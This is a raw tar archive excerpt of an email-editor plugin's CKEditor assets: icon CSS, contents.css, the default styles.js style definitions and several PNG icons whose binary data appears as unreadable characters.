.cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                                                                                                editors/acyeditor/acyeditor/ckeditor/contents.css                                                   0000705                 00000003730 15242051521 0016334 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/

body
{
	/* Font */
	font-family: sans-serif, Arial, Verdana, "Trebuchet MS";
	font-size: 12px;

	/* Text color */
	color: #333;

	/* Remove the background color to make it transparent */
	background-color: #fff;

	margin: 20px;
}

.cke_editable
{
	font-size: 13px;
	line-height: 1.6;
}

blockquote
{
	font-style: italic;
	font-family: Georgia, Times, "Times New Roman", serif;
	padding: 2px 0;
	border-style: solid;
	border-color: #ccc;
	border-width: 0;
}

.cke_contents_ltr blockquote
{
	padding-left: 20px;
	padding-right: 8px;
	border-left-width: 5px;
}

.cke_contents_rtl blockquote
{
	padding-left: 8px;
	padding-right: 20px;
	border-right-width: 5px;
}

a
{
	color: #0782C1;
}

ol,ul,dl
{
	/* IE7: reset rtl list margin. (#7334) */
	*margin-right: 0px;
	/* preserved spaces for list items with text direction other than the list. (#6249,#8049)*/
	padding: 0 40px;
}

h1,h2,h3,h4,h5,h6
{
	font-weight: normal;
	line-height: 1.2;
}

hr
{
	border: 0px;
	border-top: 1px solid #ccc;
}

img.right
{
	border: 1px solid #ccc;
	float: right;
	margin-left: 15px;
	padding: 5px;
}

img.left
{
	border: 1px solid #ccc;
	float: left;
	margin-right: 15px;
	padding: 5px;
}

pre
{
	white-space: pre-wrap; /* CSS 2.1 */
	word-wrap: break-word; /* IE7 */
	-moz-tab-size: 4;
	-o-tab-size: 4;
	-webkit-tab-size: 4;
	tab-size: 4;
}

.marker
{
	background-color: Yellow;
}

span[lang]
{
	font-style: italic;
}

figure
{
	text-align: center;
	border: solid 1px #ccc;
	border-radius: 2px;
	background: rgba(0,0,0,0.05);
	padding: 10px;
	margin: 10px 20px;
	display: inline-block;
}

figure > figcaption
{
	text-align: center;
	display: block; /* For IE8 */
}

a > img {
	padding: 1px;
	margin: 1px;
	border: none;
	outline: 1px solid #0782C1;
}
                                        editors/acyeditor/acyeditor/ckeditor/styles.js                                                      0000705                 00000007013 15242051521 0015644 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿/**
 * Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.md or http://ckeditor.com/license
 */

// This file contains style definitions that can be used by CKEditor plugins.
//
// The most common use for it is the "stylescombo" plugin, which shows a combo
// in the editor toolbar, containing all styles. Other plugins instead, like
// the div plugin, use a subset of the styles on their feature.
//
// If you don't have plugins that depend on this file, you can simply ignore it.
// Otherwise it is strongly recommended to customize this file to match your
// website requirements and design properly.

CKEDITOR.stylesSet.add( 'default', [
	/* Block Styles */

	// These styles are already available in the "Format" combo ("format" plugin),
	// so they are not needed here by default. You may enable them to avoid
	// placing the "Format" combo in the toolbar, maintaining the same features.
	/*
	{ name: 'Paragraph',		element: 'p' },
	{ name: 'Heading 1',		element: 'h1' },
	{ name: 'Heading 2',		element: 'h2' },
	{ name: 'Heading 3',		element: 'h3' },
	{ name: 'Heading 4',		element: 'h4' },
	{ name: 'Heading 5',		element: 'h5' },
	{ name: 'Heading 6',		element: 'h6' },
	{ name: 'Preformatted Text',element: 'pre' },
	{ name: 'Address',			element: 'address' },
	*/

	{ name: 'Italic Title',		element: 'h2', styles: { 'font-style': 'italic' } },
	{ name: 'Subtitle',			element: 'h3', styles: { 'color': '#aaa', 'font-style': 'italic' } },
	{
		name: 'Special Container',
		element: 'div',
		styles: {
			padding: '5px 10px',
			background: '#eee',
			border: '1px solid #ccc'
		}
	},

	/* Inline Styles */

	// These are core styles available as toolbar buttons. You may opt enabling
	// some of them in the Styles combo, removing them from the toolbar.
	// (This requires the "stylescombo" plugin)
	/*
	{ name: 'Strong',			element: 'strong', overrides: 'b' },
	{ name: 'Emphasis',			element: 'em'	, overrides: 'i' },
	{ name: 'Underline',		element: 'u' },
	{ name: 'Strikethrough',	element: 'strike' },
	{ name: 'Subscript',		element: 'sub' },
	{ name: 'Superscript',		element: 'sup' },
	*/

	{ name: 'Marker',			element: 'span', attributes: { 'class': 'marker' } },

	{ name: 'Big',				element: 'big' },
	{ name: 'Small',			element: 'small' },
	{ name: 'Typewriter',		element: 'tt' },

	{ name: 'Computer Code',	element: 'code' },
	{ name: 'Keyboard Phrase',	element: 'kbd' },
	{ name: 'Sample Text',		element: 'samp' },
	{ name: 'Variable',			element: 'var' },

	{ name: 'Deleted Text',		element: 'del' },
	{ name: 'Inserted Text',	element: 'ins' },

	{ name: 'Cited Work',		element: 'cite' },
	{ name: 'Inline Quotation',	element: 'q' },

	{ name: 'Language: RTL',	element: 'span', attributes: { 'dir': 'rtl' } },
	{ name: 'Language: LTR',	element: 'span', attributes: { 'dir': 'ltr' } },

	/* Object Styles */

	{
		name: 'Styled image (left)',
		element: 'img',
		attributes: { 'class': 'left' }
	},

	{
		name: 'Styled image (right)',
		element: 'img',
		attributes: { 'class': 'right' }
	},

	{
		name: 'Compact table',
		element: 'table',
		attributes: {
			cellpadding: '5',
			cellspacing: '0',
			border: '1',
			bordercolor: '#ccc'
		},
		styles: {
			'border-collapse': 'collapse'
		}
	},

	{ name: 'Borderless Table',		element: 'table',	styles: { 'border-style': 'hidden', 'background-color': '#E6E6FA' } },
	{ name: 'Square Bulleted List',	element: 'ul',		styles: { 'list-style-type': 'square' } }
] );

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     editors/acyeditor/acyeditor/images/editor_zone_plus.png                                             0000705                 00000002546 15242051521 0017524 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:57DFBA24B06C11E497D38F6FCDAB583E" xmpMM:DocumentID="xmp.did:57DFBA25B06C11E497D38F6FCDAB583E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57DFBA22B06C11E497D38F6FCDAB583E" stRef:documentID="xmp.did:57DFBA23B06C11E497D38F6FCDAB583E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u2#  IDATxbL,jg`b50`2V	r q22w{#֠Pm:v߿3KAV % NN=OxȖeaa|n-|<,_AcafKt3rR?~dgcJܸ+f`0G2bNV?{&kei!&ff|Åׯ=쭻a,,,h
0A@t~ _U䙘H0G,Wo_mOR#g "$ 	oL?G>_y?VVV[sO^)0;a݇ϋVmJeň/_O(IcSw1aI,,x% HH1/##E`oN..fff*@
L ` kƭ!    IENDB`                                                                                                                                                          editors/acyeditor/acyeditor/images/editor_zone_drag.png                                             0000705                 00000002613 15242051521 0017451 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:6002D97EB11111E49415D2D3980B09AA" xmpMM:DocumentID="xmp.did:6002D97FB11111E49415D2D3980B09AA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6002D97CB11111E49415D2D3980B09AA" stRef:documentID="xmp.did:6002D97DB11111E49415D2D3980B09AA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>N  IDATxbL,jg`b|fea	u2Vo21|IuT5T_muE->4ϰ蹝NvUgŭ?qss뵿)ЌC/7!߿oW~>Y߿x @O[W[tH#!+rHaeeb#r	ur2O_'*)I1 + 򈄘0ܼ	?ˌYer*:႓JdnU7\dnͥkw،Ӡ?~XO#`߿hv~;p<o!Ɏf#ĦlFFFAA I|1Z``ft*Έt7׀I{<baf?s(HN{ϟ7XzpBl		D`Q b"2"( 0 oZ:\    IENDB`                                                                                                                     editors/acyeditor/acyeditor/images/popup_delete_hover.png                                           0000705                 00000002212 15242051521 0020016 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         2=50   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:25F50BB44AFB11E5872CC6FFBA9ABBBE" xmpMM:DocumentID="xmp.did:25F50BB54AFB11E5872CC6FFBA9ABBBE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:25F50BB24AFB11E5872CC6FFBA9ABBBE" stRef:documentID="xmp.did:25F50BB34AFB11E5872CC6FFBA9ABBBE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>J   IDATxڄ?O1<"EO4q#¤&InQYHL`s@s^<J~ɧ-s39on4cL5xN,
2wa=~ƹ
(Iˈ;HLŶvN~鬾q31Q"3uUկj~[m0^/0l᙮[B8877ow#|b6ُ  M}o    IENDB`                                                                                                                                                                                                                                                                                                                                                                                      editors/acyeditor/acyeditor/images/popup_delete.png                                                 0000705                 00000002231 15242051521 0016614 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         2=50   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:1B686E6A4AFB11E5A199A66C9913D4EE" xmpMM:DocumentID="xmp.did:1B686E6B4AFB11E5A199A66C9913D4EE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B686E684AFB11E5A199A66C9913D4EE" stRef:documentID="xmp.did:1B686E694AFB11E5A199A66C9913D4EE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Ol  IDATxڄ?NBAqA""JJ";`W 
Pyc#XĂF-5W,w݄I>쾙a8}lK~`Zwi\U`|YCZ	qmj5{BpzmOh#|cH؎@=5UM^g+W9UGHe9g3s#lva@Wg?S5V~y)^ruc	Mݿpro(bglii? ?rF0    IENDB`                                                                                                                                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/images/select.png                                                       0000705                 00000001006 15242051521 0015405 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR   $   $       	pHYs         cHRM  z-      R  qE  f  9  !'V  IDATxJ@EK*Ԥ-q_ʅ_Խ+A	ibAM`[iZȅ<̙Kr-h ;@  "qQ"`$"c
E` (sMp	 2'0.7ZDk}ͤ($ITֆ)1px[H$TsI Vϭqp<BZ?_}b`XQS	T@%P	Tm;\c@<<>n~9@*PκOf4CW迌E}fƘʹRI~ݮ*?hH$]f4.(Wń'
8ZSp6ˇNc "Na<4*&:ֺDd2ć< /yķPd    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          editors/acyeditor/acyeditor/images/editor_zone_delete.png                                           0000705                 00000002177 15242051521 0020003 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:2DB953D5B06C11E49B42CCAB3AC66869" xmpMM:DocumentID="xmp.did:2DB953D6B06C11E49B42CCAB3AC66869"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DB953D3B06C11E49B42CCAB3AC66869" stRef:documentID="xmp.did:2DB953D4B06C11E49B42CCAB3AC66869"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>r   IDATxܔ
0S?u:D9z=F=G^keɦ}6	ў!1}ޜn:-yktX5T*%Ճ	
gY)Mwm'3PQZiB*E3MoRb )FIEk}ď(V(c3(1J(mlR5ؚQM|aj\C{ld=b8ekAL/ EU    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                 editors/acyeditor/acyeditor/images/arrow1.png                                                       0000705                 00000002741 15242051521 0015350 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         Ln   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:16FEF96EED7B11E4A268DD41B63C8E86" xmpMM:DocumentID="xmp.did:16FEF96FED7B11E4A268DD41B63C8E86"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:16FEF96CED7B11E4A268DD41B63C8E86" stRef:documentID="xmp.did:16FEF96DED7B11E4A268DD41B63C8E86"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O  UIDATxb?@ *@ *@ğ @]#> B ƣ-jYĂYPL/_d;gȯ_8ԋAqZKd[__\Yi'OXѤ\}X$?_^^ǎ..)R9y4?{SYߌgϞ:u$Ͻ{8O>%'))IhX[@MہXƹqG_oԹsgF1-Z_?2899:sP!'W\,*Wz-'w@2 -ea`bbЌL#{Ad)7''+ؗ AYXY]_yyy' f^q	?z_455%KdcNNο1я}|}aq|\ݻ---?<Z8o\?URRZS,,,EBBE|۷o]\\e>M))2=A^~ŲuȨ7Ćnxoв	T
Q;MZ] .ֲw r    IENDB`                               editors/acyeditor/acyeditor/images/index.html                                                       0000705                 00000000054 15242051521 0015417 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/images/close_icon.png                                                   0000705                 00000001114 15242051521 0016243 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         a   tEXtSoftware Adobe ImageReadyqe<  IDATxڤJQƿԌM6JM@Tm}tBDEE(
B]u`teCI&d=3gn$I?828imNLe?\Z̭|\.2OmyS~8vE^Ⱥ/VW7l@MSVvzX$f͐n,*7M,˪?9~,&a/jp2;8PŦiR2470 ab¶7=	,Rgvh70P{^;oO&3lJa,?=!PD~ǒTLs!df2`m^])ԡHoޖJ
 xbV5Wr.D<#Swu`kqiXt{nGQ~F6tE@བྷ~
(RjQs ـ:Ds.a      IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/images/edit_picture.png                                                 0000705                 00000002067 15242051521 0016616 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         VΎW   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:8284EF62B06911E4B380A37DD123F96D" xmpMM:DocumentID="xmp.did:8284EF63B06911E4B380A37DD123F96D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8284EF60B06911E4B380A37DD123F96D" stRef:documentID="xmp.did:8284EF61B06911E4B380A37DD123F96D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>1+L_   IDATxbT LTT3chhHc7]@aT__q̙i&0tRؗ/_RSSnݺE~IJJb8s rm0ׯ`>Q.i97X]
|/^0̘1AEEfDk$m1` Ru    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                         editors/acyeditor/acyeditor/images/arrow2.png                                                       0000705                 00000002776 15242051521 0015361 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         Ln   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:01576FDDED7B11E49FE4D5385305D429" xmpMM:DocumentID="xmp.did:01576FDEED7B11E49FE4D5385305D429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:01576FDBED7B11E49FE4D5385305D429" stRef:documentID="xmp.did:01576FDCED7B11E49FE4D5385305D429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>N  rIDATxb?@ \@ @|@	   (={@ZA1`|b_Ι-K\QREŠ8-Bx1kqqĉόb %b 	;z'++S#B1=ɍ@lb,]Xx2abofnNNVCCo)$gcǏKM6Eb֭b@8@r00333@__cNn355H漁Z`6mY-;+++!L/_T~'ZpYYX؁G^3j1sCCttt+ebZ111Ծ|aaagϞqJIK}SW  JNyBBJI=kϹX|}}-'7opN6M~~(YA162z{wޡ @_~onny`h`	))2AyYϟVz/""]3H/0ۆLYvi"9>g1]c  x4*    IENDB`  editors/acyeditor/acyeditor/images/param.png                                                        0000705                 00000003061 15242051521 0015231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:EC05C96F254C11E5B6E3BAFE8D3FCFE7" xmpMM:DocumentID="xmp.did:EC05C970254C11E5B6E3BAFE8D3FCFE7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EC05C96D254C11E5B6E3BAFE8D3FCFE7" stRef:documentID="xmp.did:EC05C96E254C11E5B6E3BAFE8D3FCFE7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>T  IDATxbL,jg`b|`P?3"&Yt}4077'GAJ(<}7YplhVSp1Vfgc,N/_cff&F@Env2@w~ [NF"h?/^{o?8.]?{w.k_}qss=)@ƑS6M;c[U ?D%,dס4c?A@@Z	Y=8t~Z[sx]GC(_̐krRL@89dl-Ușw{@cwJ2cbbDq O c])	KnK||\>}Kzg,=l޽?=-n.ūH>y-0[^}1Q6&f wfOP詋2-## \4G.$q~`B@TS4M\T$l('h¹p$ݺ ,j}u1'/UE"0r#g/!  x$R̆D"  A
(^hi    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                                               editors/acyeditor/acyeditor/images/popup_cancel.png                                                 0000705                 00000002156 15242051521 0016605 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         w&   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:FE3E210C4AFA11E5BC2FB3422BD422F9" xmpMM:DocumentID="xmp.did:FE3E210D4AFA11E5BC2FB3422BD422F9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FE3E210A4AFA11E5BC2FB3422BD422F9" stRef:documentID="xmp.did:FE3E210B4AFA11E5BC2FB3422BD422F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>;o   IDATxbLߦ(Lc@R@$ 
%&)S{Xz ΄|ҭ@\#]	@N9 6BO :je'$v$E?x"Pa9WpH!)T0!)PqbːpJePyӀt.iHŖwAA(h"Rwx6P!r1@.  2L     IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                  editors/acyeditor/acyeditor/images/editor_zone_text.png                                             0000705                 00000002435 15242051521 0017522 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:E13D5E7BB06B11E49E70FD20254DEB2A" xmpMM:DocumentID="xmp.did:E13D5E7CB06B11E49E70FD20254DEB2A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E13D5E79B06B11E49E70FD20254DEB2A" stRef:documentID="xmp.did:E13D5E7AB06B11E49E70FD20254DEB2A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>o  IDATxb:ÊJ` (74*BAظ9.z}#橫B89|+_v>ŋw% nn |@k˫W7&Lzo?<y#n1?rӧ]whР/_3Sw2?{ޅ3?@o4#)gή^߿c7"ޞ=T;aI  wVAA ߿ה>Ī o}?>m8bL"QU/vکׯt[7Ul9pp߿Iʆ͙G*#L@D9edĀ$
6$19  0vZ    IENDB`                                                                                                                                                                                                                                   editors/acyeditor/acyeditor/images/editor_zone_picture.png                                          0000705                 00000002264 15242051521 0020211 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         o   tEXtSoftware Adobe ImageReadyqe<  "iTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0167BFF5B06C11E487C6CEC55A836C39" xmpMM:DocumentID="xmp.did:0167BFF6B06C11E487C6CEC55A836C39"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0167BFF3B06C11E487C6CEC55A836C39" stRef:documentID="xmp.did:0167BFF4B06C11E487C6CEC55A836C39"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ﶖ  (IDATxb:ÊJ` S(+(Am}i3q߿7###9^߿_gC5ЏIh3@\)@&3HCHCll<EUL2~'Q^?MZ((p;78#+;.7MXHf
	"@<<Rfpq0 .Vbj2$,EETM^o~PE,,LLT0UPHR!.l "i$5` !`v92    IENDB`                                                                                                                                                                                                                                                                                                                                            editors/acyeditor/acyeditor/images/edit_text.png                                                    0000705                 00000002221 15242051521 0016117 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

